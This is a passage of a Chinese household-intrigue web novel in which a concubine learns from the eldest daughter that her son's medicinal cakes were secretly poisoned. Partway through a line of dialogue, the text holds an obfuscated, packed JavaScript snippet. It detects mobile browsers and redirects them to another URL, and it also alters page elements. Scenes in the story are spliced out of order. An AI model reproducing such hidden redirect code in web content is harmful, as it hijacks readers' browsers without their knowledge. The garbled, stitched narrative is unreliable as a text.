徐文焉没有接,只是摸了摸孟连笙的额头:“嗓子还是不舒服吗?要不要找个郎中仔细瞧瞧?” “不用!只是偶尔嗓子干才会咳几声,不打紧!” “绿豆糕哪里来的呀?”柔月小口小口吃着。 “大姐姐塞给我的,说四姐姐你席上筷子都没动几下,想必是没吃饱。” 连笙的腮帮子塞得鼓鼓囊囊,有些口齿不清。 雪霁“噗”得笑出声:“大姑娘倒是心细,二公子你吃慢点,莫要噎着了。” 徐文焉脸上看不出表情,沉默了好一会儿才蹲下身,温柔地替两个孩子擦了擦嘴角的残渣:“好孩子,往前再走几步就是咱们的云裳苑了,回去我给你们做玉米山药粥好不好?” “好!姨娘怎么知道我没吃饱……”柔月捂着肚子皱着小脸。 “傻孩子,桌前放得都是你自小不爱吃的海鲜,你脸皮薄也不敢夹远处的,整顿饭也没吃几口。姨娘也不好总是往你碗里夹菜,等回了云裳苑我给你熬粥。” “姨娘熬的山药粥最好吃了!糯糯甜甜的,柔月喜欢!弟弟也喜欢!”孟柔月开心地跳了起来,紧接着又抱紧了徐文焉,小声问道:“姨娘,今天柔月能吃一块金丝云片糕吗?” 听到孩子小心翼翼的声音,徐文焉好不心痛! 这金丝云片糕是孟瞻儒同僚上月从济州回来带的特产,每个院里都送了一些。她分给两个孩子一人一块后就收了起来,作为平日里待客的物什。 看着女儿渴望的眼睛,她眼角有些湿润:“只能吃一小块。” “好哦!”柔月瞬间开心起来,牵起母亲和弟弟蹦蹦跳跳往前走。 云裳苑坐落在孟府东北角,极小的一处根本不能称之为院落,只有简单几间屋子,不足折春阁五分之一。院内种得都是杏树、香椿、枣树这种即能食用,又具备观赏价值的树木。 徐文焉自小爱读书,总能从一些古籍中找到常见食物的新吃法。正如每年初春香椿树发了新芽,她便摘一些和着面糊糊炸了吃。 这是孟连笙和孟柔月最喜爱的一道菜。 三人刚进院,就有下人挑灯迎了过来。 “姨娘回得这么迟,可还要沐浴?”初晴挑着灯照亮了石径。 “备一些山药,我要给柔儿做粥。” “我早早便熬好了,就怕四姑娘席上吃不饱,此刻正在小炉子上煨着呢,可要给姨娘端来?” “其他人都睡了?” “是啊,就我守着呢。” “这里不需要你们伺候了,你和雪霁去歇着吧。” “是,姨娘。”两人应声退下,一转眼的功夫又端着一口小砂锅进了屋:“我在门外侯着,姨娘有事便吩咐。” 徐姨娘关紧门窗,确定窗外无人后,一脸紧张地看向孟连笙:“你确定大姑娘三日后会来?” 徽月甫一回到结海楼,便一下子扑倒在床上,把自己埋在被子里。 “困死了!一顿饭吃到这个时候,他们都感觉不到累吗?” 小园端着铜盆一进门就看到这幅景象。 “姑娘!你还没梳洗怎么能上床呢!没有一点大家闺秀的样子!”她嫌弃地将徽月拉到椅子上,拧了毛巾替她洗漱。 徽月困得眼睛都睁不开,哈欠连天,任由小园把耳环、钗环一个个取下,又松了发髻提她细细梳理着。 “前院那个叫李虎的花匠,明日你叫观棋带他来趟结海楼。”徽月半醒不醒,头小鸡啄食似得一点一点。 “姑娘找他干什么?” “当然是规划我这小院子了……你明儿个早点去,别耽误了……”徽月声音越来越轻,没一会儿便没了声音。 小园将她轻轻放平,掖好被子,“呼”得一声吹灭了桌上的烛火。 三日后子时,打更人的锣声拉得愈来愈远。徐文焉坐在榻上,揪着手里的帕子,时不时抬眼望向门口。 屋门被轻轻敲响,紧凑的三声,徐姨娘有些紧张地轻声应了:“进。”雪霁推开门,后面跟着猫进一个穿着黑斗篷的身影。 “如今春寒料峭,夜里还是冷的,姨娘怎么不多点上一些炭火?”孟徽月摘下斗篷的帽子,关心道。 徐姨娘抬手示意霁月出去:“守好门,别让不该靠近的人靠近。”随后给孟徽月斟了一盏茶:“不打紧,夜里我是不放心烧炭的,总担心窗户关得太死,睡也睡不踏实。” 孟徽月坐下品了口茶,开门见山:“姨娘知我是个爽快人,此番前来也就不拐弯抹角了。”她谨慎地走到窗前停留一会儿,见门外确实无人,便快步走回桌前,一双眼睛黑得如曜石,低声道:“姨娘入府已经整十年了,一双儿女一个快要到及笄之年,一个正式启蒙只待下场科举,可曾想过为他们谋条出路?” “大姑娘这是何意?老爷待我们极好,柔月和连笙是他的亲生骨肉,老爷一定会……”虽知徽月漏夜前来必定是有重要的事情,可没想到开口就是直入击命门,徐文焉有些惶惶不安。 “一定会怎么样?为柔月找一个门当户对,人品贵重的如意郎君?还是在科举上尽力提携连笙?徐姨娘,你是父亲的枕边人,他是怎么样凉薄的性子你再清楚不过。嫡亲女儿的婚事都可以拿去卖情面,铺路子,更何况一个本就不怎么受宠的庶女?”孟徽月没有时间和她婉转迂回,笑吟吟地说着最犀利的话。 徐文焉大惊失色,连忙用手帕捂住徽月的嘴:“大姑娘慎言!老爷可是你的父亲,这般妄评生父让外人听见可是不孝之言。” “这里没有外人,我如果把徐姨娘当做外人今夜就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589304|205365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会来此。徽月病重那会儿只有姨娘真心前来看望,细细叮嘱,为我流了不少泪,我始终记得这份情,所以想为徐姨娘某条路。”孟徽月将徐文焉的茶盏倒掉,重新斟上一杯,“也为我自己谋条出路。” 向小园叹了口气,从屋内退出轻轻关上房门。 “小园姐姐怎么一脸愁容?”芒种关切道。 “姑娘绣那嫁衣上袖口的牡丹怎么也绣不好,发了好大火,把我赶出来了,说要自己静一静。”小园托着腮坐在门口的台阶上,和芒种抱怨:“我都说姑娘是要嫁入国公府的人了,哪还有自己绣嫁衣的道理,哪里的嫁衣买不到?可姑娘非要自己动手,说是对夫君的一番心意,这不得熬坏眼睛了?” “姑娘真是有心,就是命苦……”芒种叹了口气。 “咱们姐妹俩好久没这样说说话了。芒种你也有十四了吧?可有什么打算?” “小园姐姐你取笑我!”芒种脸唰得红了。 “快和姐姐说说?有没有心上人?”小园一边和她闲聊,一边不时侧耳听着屋后的动静,心里只求姑娘平安回来。 “自古女子无非就是嫁人生子一条路,朱门锁春深,万般不由人。夫人不在了我总想着能多照顾你一点,也算是报答夫人的一点恩情。可大姑娘,我们又能做些什么?又有什么路可以选呢?”徐文焉眉眼又淡了几分,像是山水画里融不开的墨点。 徐文焉也是苦命人。虽出生清流人家,可家道中落卖身葬母,被秦方好买入孟府,又因饱读诗书被孟瞻儒看中抬为姨娘。秦方好死后更被任秀荣视为眼中钉肉中刺,明里暗里在各种小事上磋磨她。 孟徽月叹了口气:“我知姨娘是纯善之人,滴水之恩当涌泉相报,所以才对徽月多加照拂,也不愿卷入内宅纷争,只求能得一方平静。可姨娘,人无伤虎意,虎有害人心啊!”她点了点桌上还剩几块的半夏饼,“姨娘可知这半夏饼中被添加了过量的半夏?一次两次食用无妨,但若吃得久了,毒素在体内累积,被毒哑算是轻的,更有可能致命!我听说是连笙这几日咳得厉害才让厨房做了这半夏饼吧……” 徐文焉险些晕过去,猛地起身想去看看儿子的情况,却头发晕险些厥过去,扶住桌角才将将站稳。 徽月连忙扶她坐下:“姨娘别慌,连笙只吃了两日,加上他本身身体底子就好,没什么大碍的。” “是……是她!是……是折春阁!”徐文焉缓了口气,“大姑娘怎会知道这些……” 说来也巧,那日家宴,徽月饭桌上闲来无事让阳春白雪给桌上众人都扫描一番,才发现孟连笙体内堆积了微量半夏毒素。小园一打听,才知问题出现在这半夏饼上。 “我自然有我的途径,不便和姨娘细说。姨娘若心怀疑虑也可以自己拿着这饼去找郎中验证。” “我没有不信,只是她……她……我这么多年伏低做小,她为什么就是不肯放过我们!” “因为你有儿子。”孟徽月指了指帘子后,徐文焉抬眼望去不由惊叫出声:“笙儿?你怎么在这!” 孟连笙从帘子后缓缓走出,脸上挂着和他年纪不符的成熟。他向徽月行了一礼,而后走到徐文焉身边握住她的手叫了声“母亲”。 这声“母亲”叫得徐文焉心里发酸,只听孟连笙又道: “母亲,咱们也为自己谋条出路吧。